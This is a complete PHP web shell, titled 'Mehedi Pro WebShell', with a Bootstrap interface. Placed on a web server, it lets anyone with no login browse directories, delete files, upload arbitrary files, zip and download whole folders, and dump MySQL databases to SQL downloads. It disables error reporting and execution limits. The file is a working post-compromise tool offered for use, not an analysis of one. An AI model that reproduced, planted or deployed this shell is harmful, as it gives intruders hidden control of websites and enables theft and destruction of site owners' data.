<?php
session_start();
error_reporting(0);
ini_set('max_execution_time', 0);
ini_set('memory_limit', '-1');

if (!isset($_SESSION['path'])) {
    $_SESSION['path'] = getcwd();
}
$path = $_SESSION['path'];

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];

    if ($cmd == 'cd') {
        $new = $_GET['path'];
        if ($new == '..') {
            $path = dirname($path);
        } else {
            $newPath = realpath($path . '/' . $new);
            if (is_dir($newPath)) {
                $path = $newPath;
            }
        }
        $_SESSION['path'] = $path;
    }

    if ($cmd == 'del') {
        $file = $path . '/' . $_GET['fn'];
        if (is_file($file)) {
            unlink($file);
        }
    }

    if ($cmd == 'zip') {
        $zipName = 'backup_' . time() . '.zip';
        $zip = new ZipArchive();
        $zip->open($zipName, ZipArchive::CREATE);

        function zipFolder($zip, $folder, $base)
        {
            $files = scandir($folder);
            foreach ($files as $file) {
                if ($file == '.' || $file == '..') continue;
                $path = "$folder/$file";
                if (is_dir($path)) {
                    zipFolder($zip, $path, "$base/$file");
                } else {
                    $zip->addFile($path, "$base/$file");
                }
            }
        }

        zipFolder($zip, $path, basename($path));
        $zip->close();
        echo 'zip done '.basename($path).'/'.$zipName;
        // header('Content-Type: application/zip');
        // header('Content-Disposition: attachment; filename="' . $zipName . '"');
        // readfile($zipName);
        // unlink($zipName);
        exit;
    }

    if ($cmd == 'dump') {
        $dbHost = 'localhost';
        $dbUser = $_GET['un'] ?? '';
        $dbPass = $_GET['pd'] ?? '';
        $dbName = $_GET['dn'] ?? '';
    
        $conn = mysqli_connect($dbHost, $dbUser, $dbPass, $dbName);
    
        if (!$conn || mysqli_connect_errno()) {
            echo "<script>alert('MySQL connection failed: " . mysqli_connect_error() . "');</script>";
            exit;
        }
    
        $tables = [];
        $res = mysqli_query($conn, "SHOW TABLES");
    
        if ($res && mysqli_num_rows($res) > 0) {
            while ($row = mysqli_fetch_row($res)) {
                $tables[] = $row[0];
            }
    
            $output = "-- Database Backup: $dbName\n\n";
    
            foreach ($tables as $table) {
                $res2 = mysqli_query($conn, "SELECT * FROM `$table`");
                $numColumns = mysqli_num_fields($res2);
    
                $createTable = mysqli_fetch_row(mysqli_query($conn, "SHOW CREATE TABLE `$table`"));
                $output .= "DROP TABLE IF EXISTS `$table`;\n";
                $output .= $createTable[1] . ";\n\n";
    
                while ($row2 = mysqli_fetch_row($res2)) {
                    $output .= "INSERT INTO `$table` VALUES(";
                    for ($i = 0; $i < $numColumns; $i++) {
                        $val = isset($row2[$i]) ? mysqli_real_escape_string($conn, $row2[$i]) : '';
                        $output .= "'" . $val . "'";
                        if ($i < ($numColumns - 1)) $output .= ", ";
                    }
                    $output .= ");\n";
                }
                $output .= "\n\n";
            }
    
            mysqli_close($conn);
    
            $sqlName = 'db_backup_' . time() . '.sql';
            file_put_contents($sqlName, $output);
    
            header('Content-Type: application/sql');
            header('Content-Disposition: attachment; filename="' . $sqlName . '"');
            readfile($sqlName);
            unlink($sqlName);
            exit;
    
        } else {
            echo "<script>alert('No tables found or permission denied.');</script>";
        }
        
    }
    
    if($cmd=='get'){
        $filename = basename($_GET['path']);
            $fullPath = $path . '/' . $filename;
            if (file_exists($fullPath)) {
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . $filename . '"');
                header('Content-Length: ' . filesize($fullPath));
                readfile($fullPath);
                exit;
            } else {
                echo "<script>alert('File not found!');</script>";
            }
    }


}

if (isset($_FILES['file'])) {
    move_uploaded_file($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name']);
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Mehedi Pro Shell</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body class="bg-dark text-light">
<div class="container py-4">
    <h2 class="mb-3 text-success">Mehedi Pro WebShell 😎</h2>
    <p><strong>Current Directory:</strong> <?= $path ?></p>
    <a href="?cmd=cd&path=.." class="btn btn-secondary btn-sm">⬅️ Back</a>
    <a href="?cmd=zip" class="btn btn-warning btn-sm">📦 Download ZIP</a>

    <form method="POST" enctype="multipart/form-data" class="my-3">
        <input type="file" name="file" class="form-control" style="width:300px; display:inline-block;">
        <input type="submit" value="Upload" class="btn btn-success btn-sm">
    </form>

    <form method="GET" class="my-2">
        <input type="hidden" name="cmd" value="dump">
        <div class="input-group mb-2" style="max-width:500px;">
            <input type="text" name="un" placeholder="DB User" class="form-control" required>
            <input type="text" name="pd" placeholder="DB Pass" class="form-control">
            <input type="text" name="dn" placeholder="DB Name" class="form-control" required>
            <button type="submit" class="btn btn-info">🎯 Dump DB</button>
        </div>
    </form>

    <ul class="list-group">
        <?php
        foreach (scandir($path) as $f) {
            if ($f == '.') continue;
            echo "<li class='list-group-item bg-dark text-light'>";
            if (is_dir($path . '/' . $f)) {
                echo "[DIR] <a href='?cmd=cd&path=$f' class='text-warning'>$f</a>";
            } else {

    $filePath = $path . DIRECTORY_SEPARATOR . $f;
    $fileTime = filemtime($filePath);
    $currentTime = time();
    $timeDiff = $currentTime - $fileTime;
    if ($timeDiff < 60) {
        $timeAgo = "$timeDiff seconds ago";
    } elseif ($timeDiff < 3600) {
        $minutes = floor($timeDiff / 60);
        $timeAgo = "$minutes minute" . ($minutes > 1 ? 's' : '') . " ago";
    } elseif ($timeDiff < 86400) {
        $hours = floor($timeDiff / 3600);
        $timeAgo = "$hours hour" . ($hours > 1 ? 's' : '') . " ago";
    } elseif ($timeDiff < 2592000) {
        $days = floor($timeDiff / 86400);
        $timeAgo = "$days day" . ($days > 1 ? 's' : '') . " ago";
    } else {
        $timeAgo = date("Y-m-d H:i:s", $fileTime);
    }

                echo "$f  ";
                echo " <a href='?cmd=get&path=$f' class='btn btn-sm btn-info mx-2'>⬇️ Download</a> Last Modified:  $timeAgo";
                echo " <a href='?cmd=del&fn=$f' class='btn btn-sm btn-danger float-end' onclick='return confirm(\"$f Delete?\");'>Delete</a>";
            }
            echo "</li>";
        }
        ?>
    </ul>
</div>
</body>
</html>
